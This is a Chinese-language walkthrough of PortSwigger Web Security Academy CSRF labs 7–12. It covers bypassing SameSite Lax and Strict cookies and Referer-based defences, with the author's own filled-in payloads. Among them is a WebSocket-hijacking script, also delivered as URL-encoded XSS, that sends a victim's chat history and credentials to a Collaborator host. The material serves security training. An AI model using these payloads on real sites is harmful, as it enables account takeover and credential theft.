实验7：通过方法覆盖绕过SameSite Lax

信息：

1、本实验的更改电子邮件功能易受CSRF攻击

2、完成实验：执行更改受害者电子邮件地址的CSRF攻击。应该使用提供的利用漏洞攻击服务器来承载攻击

3、已有账号：wiener:peter

part1:

1、登陆账号，更改电子邮件，在HTTP历史记录选项卡中找到

2、研究POST /my-account/change-email请求，注意到它不包含任何不可预测的令牌，因此如果可以绕过SameSite cookie限制，可能容易受到CSRF的攻击。

3、查看对POST /login请求的响应，网站在设置会话Cookie时没有明确指定任何SameSite限制。因此，浏览器将使用默认的Lax限制级别。

这意味着会话cookie将在跨站点GET请求中发送，只要它们涉及顶级导航。

part2:

绕过SameSite限制

4、发送POST /my-account/change-email请求到BP的repeater

5、在Burp Repeater中，右键单击请求并选择Change request method（更改请求方法）。Burp会自动生成一个等价的GET请求。发送请求，观察只允许POST请求。

6、尝试通过向查询字符串添加_method参数来重写该方法：

GET /my-account/change-email?email=foo%40web-security-academy.net&_method=POST HTTP/1.1

7、发送请求，注意到这似乎已被服务器接受。（在浏览器中，转到您的帐户页面，确认您的电子邮件地址已更改）

part3:

完成实验

8、转到利用漏洞攻击服务器，在Body部分中，创建一个HTML/JavaScript有效负载，该有效负载会诱使查看者的浏览器发出恶意GET请求。必须导致顶级导航，以便包含会话cookie。

以下是一种可能的方法：

<script>
    document.location = "https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&_method=POST";
</script>
我的是：
<script>
    document.location = "https://0ada004903795585c000272900bb00fe.web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&_method=POST";
</script>

9、存储并查看您自己的漏洞（store）。确认此操作已成功更改您在目标站点上的电子邮件地址（view exploit）

发送给victim解决实验

5、使用现场小工具绕过SameSite限制

1、如果cookie设置了SameSite=Strict属性，浏览器将不会在任何跨站点请求中包含它。如果可以在同一站点中找到导致第二个请求的小工具，则可以绕过此限制。

2、一个可能的小工具是客户端重定向，它使用攻击者可控制的输入（如URL参数）动态构造重定向目标。

3、就浏览器而言，这些客户端重定向根本不是真正的重定向；所得到的请求仅被视为普通的独立请求。最重要的是，这是一个相同网站的请求，因此，将包括与该网站相关的所有Cookie，无论是否存在任何限制。

4、如果可以操纵这个小工具来引发恶意的第二个请求，那么就可以完全绕过任何SameSite cookie限制

5、服务器端重定向不可能进行等效攻击。在这种情况下，浏览器会识别出跟随重定向的请求最初是由跨站点请求引起的，因此它们仍然会应用适当的Cookie限制。

6、涉及实验：

实验8：通过客户端重定向绕过SameSite Strict

1、本实验的更改电子邮件功能易受CSRF攻击

2、完成实验：执行更改受害者电子邮件地址的CSRF攻击。应该使用提供的利用漏洞攻击服务器来承载攻击

3、已有账号：wiener:peter

part1:

登录帐户,并更改您的电子邮件地址,转到HTTP历史记录中

研究POST/my-account/change-email请求并注意到它不包含任何不可预测的令牌，因此如果可以绕过任何SameSite cookie限制，可能容易受到CSRF的攻击

查看对POST/login请求的响应。（网站在设置会话Cookie时明确指定了SameSite = Strict。这可防止浏览器在跨站点请求中包含这些Cookie）

part2:

在浏览器中，转到其中一篇博客文章并发表任意评论。注意到最初被发送到确认页面/post/comment/confirmation?postId=x，但几秒钟后，将返回到博客帖子。

自动跳回博客

在Burp中，转到代理历史记录，注意这个重定向是在客户端使用导入的JavaScript文件/resources/js/commentConfirmationRedirect.js处理的。

研究JavaScript并注意到它使用postId查询参数来动态构造客户端重定向的路径。

在代理历史记录中，右键单击GET/post/comment/confirmation?postId=x请求并选择复制URL。

在浏览器中，访问此URL，但将postId参数更改为任意字符串。/post/comment/confirmation?postId=foo

（这个是跳转处理前的评论成功请求）

然后再次跳转对应的链接（因为不存在，所以找不到）

但重定向是没有检查的

在客户端JavaScript尝试将重定向到包含注入字符串的路径（例如/post/foo）之前，最初看到的是post确认页面。

注入一个路径遍历序列，以便动态构建的重定向URL将指向帐户页面

/post/comment/confirmation?postId=1/../../my-account

观察浏览器是否正常化此URL并成功将您带到帐户页面。这确认可以使用postId参数来引发对目标站点上任意端点的GET请求

part3:

绕过SameSite限制

在浏览器中，转到漏洞利用服务器并创建一个脚本，该脚本诱导查看者的浏览器发送刚刚测试的GET请求。

以下是一种可能的方法：
<script>
    document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=../my-account";
</script>
我的是：
<script>
    document.location = "https://0a2000fb033590aec1de715a0082005b.web-security-academy.net/post/comment/confirmation?postId=../my-account";
</script>

存储(store)并查看漏洞（view exploit）

当客户端重定向发生时，仍然会看到登录帐户页面。这证实了浏览器在第二个请求中包含了已验证会话cookie，即使最初的评论提交请求是从任意外部站点发起的

part4:

利用，发送POST /my-account/change-email请求到BP

在Burp Repeater中，右键单击请求并选择Change request method（更改请求方法）。Burp会自动生成一个等价的GET请求。发送请求，注意到端点允许您使用GET请求更改电子邮件地址。

返回漏洞攻击服务器并更改漏洞攻击中的postId参数，以便重定向导致浏览器发送等效的GET请求来更改您的电子邮件地址：

<script>
    document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1";
</script>
我的是：
<script>
    document.location = "https://0a2000fb033590aec1de715a0082005b.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1";
</script>

需要包含submit参数和URL编码的和分隔符，以避免在初始设置请求中中断postId参数。

自己测试该漏洞（view exploit），并确认您已成功更改电子邮件地址。再将漏洞发送给victim

完成实验

6、通过易受攻击的同级域绕过SameSite限制

1、无论是在测试别人的网站还是尝试保护自己的网站，都必须记住，即使请求是跨源发出的，它仍然可以是同一个网站。

2、确保彻底审核所有可用的攻击面，包括任何同级域。特别是允许引发任意次要请求的漏洞，例如 XSS语言，可能会完全破坏基于站点的防御，使站点的所有域都暴露在跨站点攻击之下。

3、除了经典的CSRF之外，如果目标网站支持WebSocket，则此功能可能容易受到跨站点WebSocket劫持（CSWSH）的攻击，CSWSH本质上只是针对WebSocket握手的CSRF攻击。

4、涉及实验：

实验9：通过兄弟域严格绕过SameSite

1、本实验的实时聊天功能容易受到跨站点WebSocket劫持（CSWSH）的攻击

2、解决实验：登录受害者的账户.

3、使用提供的漏洞利用服务器执行CSWSH攻击，将受害者的聊天历史泄漏到默认Burp Collaborator服务器。聊天历史记录包含纯文本形式的登录凭据。

part1：

学习实时聊天功能

BP代理，进入实时聊天功能并发送几条消息，HTTP history中找到WebSocket握手请求

它不包含任何不可预测的令牌，因此如果可以绕过任何SameSite cookie限制，则可能容易受到CSWSH的攻击

在浏览器中，刷新实时聊天页面。

历史记录选项卡。刷新页时，浏览器会向服务器发送READY消息。这将导致服务器以整个聊天历史记录进行响应

part2:

确认CSWSH漏洞

转到Collaborator选项卡，然后复制到剪贴板

fk3ogs2u3x8d3mfm0lw9gaglkcq2er.burpcollaborator.net

转到利用漏洞攻击服务器并使用以下模板创建CSWSH概念验证脚本：

<script>
    var ws = new WebSocket('wss://YOUR-LAB-ID.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://YOUR-COLLABORATOR-PAYLOAD.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>
我的是：
<script>
    var ws = new WebSocket('wss://0a0b005204975a91c040c25f005e0071.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://fk3ogs2u3x8d3mfm0lw9gaglkcq2er.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

存储（store）和查看漏洞（view）

返回Collaborator选项卡并单击刷新。收到了一个HTTP交互，表明已经打开了一个与目标站点的新的实时聊天连接

尽管已经确认了CSWSH漏洞，但只是泄漏了一个全新会话的聊天历史记录，这并不是特别有用

HTTP history选项卡并找到由脚本触发的WebSocket握手请求。这应该是最近的GET/聊天请求。

会话cookie没有随请求一起发送。

在响应中，网站在设置会话cookie时显式指定了SameSite = Strict。这可防止浏览器在跨站点请求中包含这些Cookie

part3:

识别同一“站点”中的其他漏洞

阅览BP代理历史记录，注意对脚本和图像文件等资源请求的响应包含一个Access-Control-Allow-Origin头，它显示了一个兄弟域cms-YOUR-LAB-ID.web-security-academy.net

多了一个cms-

https://cms-0a0b005204975a91c040c25f005e0071.web-security-academy.net

在浏览器中，访问此新URL以发现其他登录表单

提交一些任意的登录凭据，然后观察用户名是否反映在Invalid username消息的响应中。

尝试通过username参数注入XSS有效负载

<script>alert(1)</script>

观察到alert()被调用，确认这是一个可行的反射XSS

将包含XSS有效负载的POST /登录请求发送到Burp Repeater。

在Burp Repeater中，右键单击请求并选择Change request method（更改请求方法），将方法转换为GET。确认它仍然收到相同的响应

再次右键单击请求并选择复制URL。在浏览器中访问此URL并确认仍然可以触发XSS。由于此兄弟域是同一站点的一部分，因此可以使用此XSS来发起CSWSH攻击，而无需通过SameSite限制来缓解

http://burp/show/3/wxagw5m9uqkkr2jbvtded0uy2tqww68s

part4:

绕过SameSite限制重新创建之前在利用漏洞攻击服务器上测试的CSWSH脚本。

<script>
    var ws = new WebSocket('wss://YOUR-LAB-ID.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://YOUR-COLLABORATOR-PAYLOAD.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>
我的是：
<script>
    var ws = new WebSocket('wss://0a0b005204975a91c040c25f005e0071.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://au8jqncpdsi8dhphag64q5qgu70yon.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

URL编码整个脚本

%3Cscript%3E%0A%20%20%20%20var%20ws%20%3D%20new%20WebSocket('wss%3A%2F%2F0a0b005204975a91c040c25f005e0071.web-security-academy.net%2Fchat')%3B%0A%20%20%20%20ws.onopen%20%3D%20function()%20%7B%0A%20%20%20%20%20%20%20%20ws.send(%22READY%22)%3B%0A%20%20%20%20%7D%3B%0A%20%20%20%20ws.onmessage%20%3D%20function(event)%20%7B%0A%20%20%20%20%20%20%20%20fetch('https%3A%2F%2Fau8jqncpdsi8dhphag64q5qgu70yon.burpcollaborator.net'%2C%20%7Bmethod%3A%20'POST'%2C%20mode%3A%20'no-cors'%2C%20body%3A%20event.data%7D)%3B%0A%20%20%20%20%7D%3B%0A%3C%2Fscript%3E

返回到利用漏洞攻击服务器并创建一个脚本，该脚本引导查看者的浏览器发送您刚刚测试的GET请求，但使用URL编码的CSWSH负载作为username参数。以下是一种可能的方法：

<script>
    document.location = "https://cms-YOUR-LAB-ID.web-security-academy.net/login?username=YOUR-URL-ENCODED-CSWSH-SCRIPT&password=anything";
</script>
我的是：
<script>
    document.location = "https://cms-0a0b005204975a91c040c25f005e0071.web-security-academy.net/login?username=%3Cscript%3E%0A%20%20%20%20var%20ws%20%3D%20new%20WebSocket('wss%3A%2F%2F0a0b005204975a91c040c25f005e0071.web-security-academy.net%2Fchat')%3B%0A%20%20%20%20ws.onopen%20%3D%20function()%20%7B%0A%20%20%20%20%20%20%20%20ws.send(%22READY%22)%3B%0A%20%20%20%20%7D%3B%0A%20%20%20%20ws.onmessage%20%3D%20function(event)%20%7B%0A%20%20%20%20%20%20%20%20fetch('https%3A%2F%2Fau8jqncpdsi8dhphag64q5qgu70yon.burpcollaborator.net'%2C%20%7Bmethod%3A%20'POST'%2C%20mode%3A%20'no-cors'%2C%20body%3A%20event.data%7D)%3B%0A%20%20%20%20%7D%3B%0A%3C%2Fscript%3E&password=anything";
</script>

存储（store）并查看自己能否触发漏洞（view）

返回Collaborator选项卡并刷新。收到了许多新的交互，其中包含整个聊天历史记录。

HTTP history选项卡并找到由脚本触发的WebSocket握手请求。这应该是最近的GET/聊天请求。

确认此请求确实包含您的会话Cookie。由于该请求是从易受攻击的兄弟域发起的，因此浏览器将其视为同一站点请求。

part5:

完成实验

登陆成功

7、使用新发布的Cookie绕过SameSite Lax限制

1、cookie 松弛 SameSite限制通常不会跨站点发送后请求，但也有一些例外

2、如果网站不包含 SameSite 设置Cookie时，Chrome会自动应用松弛限制。但为了避免破坏单点登录（SSO）机制，它实际上并不在顶层的前120秒内强制执行这些限制后请求。因此，存在两分钟的窗口，在此期间用户可能容易受到跨站点攻击

（此两分钟的窗口不适用于使用显式设置的Cookie 相同部位=松弛属性）

3、尝试在这么短的时间内发动攻击有点不切实际。另一方面，如果可以在站点上找到一个小工具，能够强制向受害者发送新的会话cookie，则可以在跟踪主要攻击之前抢先刷新他们的cookie。如完成一个基于OAuth的登录流程可能会导致每次都有一个新会话，因为OAuth服务不一定知道用户是否仍然登录到目标站点。

4、要触发cookie刷新而不需要受害者再次手动登录，需要使用顶级域名，以确保与其当前开放认证包括会话。这带来了额外的挑战，因为需要将用户重定向回站点，以便可以发动CSRF攻击。

或者可以从新选项卡触发cookie刷新，这样浏览器在能够进行最终攻击之前不会离开页面。这种方法的一个小问题是浏览器会阻止弹出选项卡，除非它们是通过手动交互打开的。

如默认情况下，浏览器将阻止以下弹出窗口：
window.open('https://vulnerable-website.com/login/sso');
若要解决此问题，可以将语句包装在onclick事件处理程序中，如下所示：
window.onclick =()=> {
    window.open('https://vulnerable-website.com/login/sso');
}
这样， window.open()方法只有在用户单击页面上的某个位置时才会被调用。

5、涉及实验

实验10：通过cookie刷新绕过SameSite Lax

1、本实验的更改电子邮件功能易受CSRF攻击

2、完成本实验：执行更改受害者电子邮件地址的CSRF攻击。应该使用提供的利用漏洞攻击服务器来承载攻击

3、已有账号：wiener:peter

part1:

帐户登录并更改电子邮件地址，HTTP历史记录中分析数据包

研究POST/my-account/change-email请求并注意到它不包含任何不可预测的令牌，因此如果可以绕过任何SameSite cookie限制，可能容易受到CSRF的攻击

查看GET /oauth-callback?code=[...]在OAuth流结束时请求。网站在设置会话Cookie时没有明确指定任何SameSite限制。因此，浏览器将使用默认的Lax限制级别

part2:

尝试CSRF攻击

在浏览器中，转到利用漏洞攻击服务器。

使用以下模板创建更改受害者电子邮件地址的基本CSRF攻击：

<script>
    history.pushState('', '', '/')
</script>
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="foo@bar.com" />
    <input type="submit" value="Submit request" />
</form>
<script>
    document.forms[0].submit();
</script>
我的是：
<script>
    history.pushState('', '', '/')
</script>
<form action="https://0a3f00c7035245fbc295ac0c00560021.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="foo@bar.com" />
    <input type="submit" value="Submit request" />
</form>
<script>
    document.forms[0].submit();
</script>

存储（store）并查看漏洞

接下来会发生什么取决于自登录以来所经过的时间：
    1、如果超过两分钟，将通过OAuth流登录，攻击将失败。在这种情况下，请立即重复此步骤。
    2、如果在不到两分钟前登录，则攻击成功，电子邮件地址已更改。

攻击成功

HTTP历史记录选项卡，找到POST /my-account/change-email请求，并确认会话cookie是否包含在内，即使这是一个跨站点POST请求

（cookie被携带）

part3:

绕过SameSite限制

如果访问/social-login，将自动启动完整的OAuth流。如果仍然与OAuth服务器有一个登录会话，那么这一切都不会发生任何交互。

从代理历史记录中可以看到，每次完成OAuth流时，目标站点都会设置一个新的会话cookie，即使已经登录（因为每次请求完他会set-cookie）

返回到漏洞利用服务器，更改JavaScript，使攻击者首先通过强制浏览器访问/social-login来刷新受害者的会话，然后在短暂停顿后提交电子邮件更改请求。以下是一种可能的方法：

<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned@web-security-academy.net">
</form>
<script>
    window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
    setTimeout(changeEmail, 5000);
    function changeEmail(){
        document.forms[0].submit();
    }
</script>
我的是：
<form method="POST" action="https://0a3f00c7035245fbc295ac0c00560021.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned@web-security-academy.net">
</form>
<script>
    window.open('https://0a3f00c7035245fbc295ac0c00560021.web-security-academy.net/social-login');
    setTimeout(changeEmail, 5000);
    function changeEmail(){
        document.forms[0].submit();
    }
</script>

在新窗口中打开/social-login，以避免在发送更改电子邮件请求之前导航离开该漏洞

存储（store）并查看漏洞（view）。观察到初始请求被浏览器的弹出窗口阻止程序阻止

观察暂停后，CSRF攻击仍在启动。但只有在设置Cookie后不到两分钟的时间内，此操作才能成功。否则攻击将失败，因为弹出窗口阻止程序会阻止强制cookie刷新

part4:

绕过弹出窗口阻止程序

意识到弹出窗口被阻止是因为没有手动与页面交互。

调整利用漏洞攻击，使其诱使受害者单击页面，并仅在用户单击后打开弹出窗口。以下是一种可能的方法：

<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned@portswigger.net">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
        setTimeout(changeEmail, 5000);
    }
    function changeEmail() {
        document.forms[0].submit();
    }
</script>

1、出现提示时，单击页面。这将触发OAuth流并发出一个新的会话cookie。5秒后，注意CSRF攻击被发送，POST /my-account/change-email请求包含新会话cookie。

（转到帐户页面并确认电子邮件地址已更改）

————

2、返回利用漏洞攻击服务器并将利用漏洞攻击发送给受害者

短暂的停顿后，完成实验

四、绕过基于引用的CSRF防御

1、简述：

除了使用CSRF令牌的防御之外，一些应用程序还利用HTTP Referer报头来尝试防御CSRF攻击，通常是通过验证请求是否来自应用程序自己的域。这种方法通常效果不佳，而且常常被绕过。

2、引用方的验证取决于是否存在标头

1、某些应用程序验证Referer标头（当它出现在请求中时），但如果标头被省略，则跳过验证。

在这种情况下，攻击者可以创建其 CSRF漏洞利用导致受害用户的浏览器删除Referer标题在结果请求中。

有多种方法可以实现这一点，但最简单的方法是在承载 CSRF攻击：
<meta name="referrer" content="never">

2、涉及实验：

实验11：CSRF，其中Referer验证取决于是否存在标头

1、本实验的电子邮件更改功能易受CSRF攻击。它试图阻止跨域请求，但有一个不安全的后备。

2、解决实验：使用漏洞攻击服务器托管一个HTML页面，该页面使用CSRF攻击来更改查看者的电子邮件地址

3、已有账号：wiener:peter

part1:

登录帐户。提交"更新电子邮件"表单

并在代理历史记录中查找生成的请求,将请求发送到Burp Repeater

并观察如果更改Referer HTTP头中的域，则请求将被拒绝

完全删除Referer标头，并观察请求现在已被接受

part2:

创建并托管概念利用验证，包含以下HTML以隐藏"引用者"标题：

<meta name="referrer" content="no-referrer">

生成poc，并加上上述的referrer设置

完整的为

<meta name="referrer" content="no-referrer">
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0ade00340423eac1c0e745e900c40005.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="Cookie&#58;&#32;session" value="vnfo6JaZrfEqBxULoEnwjJiA9YGwtd2g" />
      <input type="hidden" name="Upgrade&#45;Insecure&#45;Requests&#58;&#32;1" value="" />
      <input type="hidden" name="Sec&#45;Fetch&#45;Dest&#58;&#32;document" value="" />
      <input type="hidden" name="Sec&#45;Fetch&#45;Mode&#58;&#32;navigate" value="" />
      <input type="hidden" name="Sec&#45;Fetch&#45;Site&#58;&#32;same&#45;origin" value="" />
      <input type="hidden" name="Sec&#45;Fetch&#45;User&#58;&#32;&#63;1" value="" />
      <input type="hidden" name="email" value="111111&#64;qq&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

存储(store)漏洞，然后单击"Deliver to victim"（发送给受害者）

完成实验

3、可以绕过引用方的验证

1、某些应用程序验证Referer报头以一种可以被绕过的简单方式。

1、如应用程序验证Referer以预期值开始，则攻击者可以将其作为自己域的子域：
http://vulnerable-website.com.attacker-website.com/csrf-attack
2、如果应用程序只是验证Referer包含其自己的域名，则攻击者可以将所需的值放在URL中的其他位置：
http://attacker-website.com/csrf-attack?vulnerable-website.com

2、尽管可以使用Burp来识别这种行为，但是当在浏览器中测试概念证明时，经常会发现这种方法不再起作用。为了降低敏感数据以这种方式泄漏的风险，许多浏览器现在将查询字符串从Referer标头

3、可以通过确保包含利用漏洞攻击的响应具有Referrer-Policy: unsafe-ur标题集。这样可以确保发送完整的URL，包括查询字符串。

4、涉及实验：

实验12：引用方验证中断的CSRF

本实验的电子邮件更改功能易受CSRF攻击。它尝试检测和阻止跨域请求，但可以绕过检测机制。

解决实验：使用漏洞攻击服务器托管一个HTML页面，该页面使用CSRF攻击来更改查看者的电子邮件地址。

已有账号：wiener:peter

part1：

登录帐户。提交"更新电子邮件"表单，并在代理历史记录中查找生成的请求

发送请求到BP repeater。如果更改Referer HTTP头中的域，则请求将被拒绝

复制实验实例的原始域，并将其以查询字符串的形式附加到Referer头中

Referer: https://arbitrary-incorrect-domain.net?YOUR-LAB-ID.web-security-academy.net
我的是：
Referer: https://arbitrary-incorrect-domain.net?0ae8003d0469e3dac50a8b0a009e0035.web-security-academy.net

发送请求并观察请求现在是否已被接受。该网站似乎接受任何引用头，只要它包含预期的域某处的字符串

part2：

按照无防御CSRF漏洞解决方案实验室中的说明创建CSRF概念攻击验证

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0ae8003d0469e3dac50a8b0a009e0035.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="111111&#64;qq&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

并将其托管在攻击服务器上。编辑JavaScript，使history.pushState()函数的第三个参数包含一个查询字符串，其中包含实验室实例URL，如下所示：

history.pushState("", "", "/?YOUR-LAB-ID.web-security-academy.net")
我的是：
history.pushState("", "", "/?https://0ae8003d0469e3dac50a8b0a009e0035.web-security-academy.net")

这将导致生成的请求中的Referer标头在查询字符串中包含目标站点的URL，就像前面测试的那样

CSRF完整poc：
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0ae8003d0469e3dac50a8b0a009e0035.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="111111&#64;qq&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState("", "", "/?https://0ae8003d0469e3dac50a8b0a009e0035.web-security-academy.net")
      document.forms[0].submit();
    </script>
  </body>
</html>

如果存储该利用漏洞攻击并通过单击"查看利用漏洞攻击"进行测试，则可能会再次遇到"invalid Referer header"错误。这是因为作为一种安全措施，许多浏览器现在默认从Referer头中剥离查询字符串。要覆盖此行为并确保请求中包含完整的URL，请返回利用漏洞攻击服务器并将以下标题添

加到"Head"部分：
Referrer-Policy: unsafe-url
（注意，与普通的Referer头不同）

part3：

完成实验

存储（store）漏洞，然后单击"Deliver to victim"（发送给受害者）

完成实验

【BP靶场portswigger-客户端12】跨站点请求伪造CSRF-12个实验（全）（下）

实验7：通过方法覆盖绕过SameSite Lax

5、使用现场小工具绕过SameSite限制

实验8：通过客户端重定向绕过SameSite Strict

6、通过易受攻击的同级域绕过SameSite限制

实验9：通过兄弟域严格绕过SameSite

7、使用新发布的Cookie绕过SameSite Lax限制

实验10：通过cookie刷新绕过SameSite Lax

四、绕过基于引用的CSRF防御

1、简述：

2、引用方的验证取决于是否存在标头

实验11：CSRF，其中Referer验证取决于是否存在标头

3、可以绕过引用方的验证

实验12：引用方验证中断的CSRF

热门文章

最新文章

相关课程

相关电子书

相关实验场景